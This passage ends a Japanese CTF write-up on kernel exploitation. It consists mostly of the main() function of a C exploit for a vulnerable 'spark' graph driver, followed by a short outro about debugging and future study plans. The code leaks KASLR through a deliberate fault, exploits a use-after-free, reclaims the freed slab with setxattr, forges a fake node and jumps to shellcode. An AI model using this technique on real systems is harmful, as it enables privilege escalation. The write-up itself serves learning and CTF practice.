189 fs, &lk_regs.r10, &lk_regs.r11, &lk_regs.r12, fs, &lk_regs.r13, &lk_regs.r14, &lk_regs.r15);
190 fclose(fp);
191 print_regs(&lk_regs);
192}
193
194void forge_fake_node(struct node_struct *fake_node, ulong finalized_idx){
195 fake_node->index = 0xdeadbeef;
196 fake_node->refcnt = 0xdeadbeef;
197 fake_node->is_finalized = 1; // prevent deeper traversal.
198 fake_node->num_edge = 0;
199 fake_node->prev_edge = NULL;
200 fake_node->next_edge = NULL;
201 fake_node->finalized_idx = finalized_idx;
202 fake_node->info = NULL;
203 memset(&fake_node->mutex_nb, '\x00', 0x20);
204 memset(&fake_node->mutex_state, '\x00', 0x20);
205}
206
207#define ALLOC_KMALLOC_128(NUM) for(int i=0; i<NUM; ++i) open(DEV_PATH, O_RDWR);
208
209int main(int argc, char *argv[]) {
210 if(argc == 2){
211 // invoke #GPF and Oops in the child and leak KASLR via dmesg
212 // FYI: dmesg is restricted to adm group on the latest Ubuntu by default.
213 // cf: https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-20.10-Restrict-dmesg
214 invoke_gpf();
215 exit(0); // unreachable
216 }else{
217 const char *cmd = malloc(0x100);
218 sprintf(cmd, "%s gpf", argv[0]);
219 system(cmd); // cause #GPF
220 leak_kaslr();
221 }
222
223 for(int i = 0; i < N; i++) {
224 fd[i] = open(DEV_PATH, O_RDWR);
225 assert(fd[i]);
226 }
227
228 // distance array became the size of 0x80
229 _link(fd[1], fd[3], 0x1); // fd[2] is used to retrieve the very heap leaked by R11
230 for(int ix=3; ix<0x11; ++ix){
231 _link(fd[ix], fd[ix+1], 0x1);
232 }
233 _link(fd[0], fd[1], (ulong)shellcode + 8); // this link should be at the very last
234 close(fd[0]); // vuln
235
236 // forge fake node
237 ulong write_target = lk_regs.sp - spark_graph_query_stack_offset;
238 forge_fake_node(&fake_node0,(write_target - lk_regs.r11) / sizeof(ulong));
239 ALLOC_KMALLOC_128(0x12);
240
241 // retrieve fd[0]'s node(private_data)
242 setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);
243 close(fd[2]); // retrieve the very heap leaked by R11 when #GPF.
244 _finalize(fd[1]);
245 // now, node1.info->nodes are... node1 -> node3 -> node4 -> node5 -> ... -> node0x11 (0x10)
246
247 _query(fd[1], fd[1], fd[9]);
248 // distance array (8*0x10) is kmalloced.
249 // first, node1 is checked and distance[0] = -1.
250 // then, node0 is checked and distance[target] = shellcode.
251
252 NIRUGIRI();
253 return 0;
254}
アウトロ
書いてしまえば単純だけど、デバフォなしでデバッグするのはだいぶしんどかったです。多分 kernel の pro からすれば初歩も初歩の話なんだろうけど、今までやんわりとで使ってきたスラブアロケタについて改めてコードベースで調べてデバッグできたのは今後役に立つと嬉しいねって近所の羊が言っておりました。 最近は CTF のモチベが低下していることもあり、なにか目標を決めて問題を解いて行こうと思っています。kernel 強化月間のため何か良い感じの kernel 問題集ないかなぁと思っていたら、hama さんのブログ に良さげな kernel(+qemu)の問題リストがあったため、これをぼちぼち解いていこうと思います。
ここまで書いてきましたが、プイプイモルカーって、なんですか??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????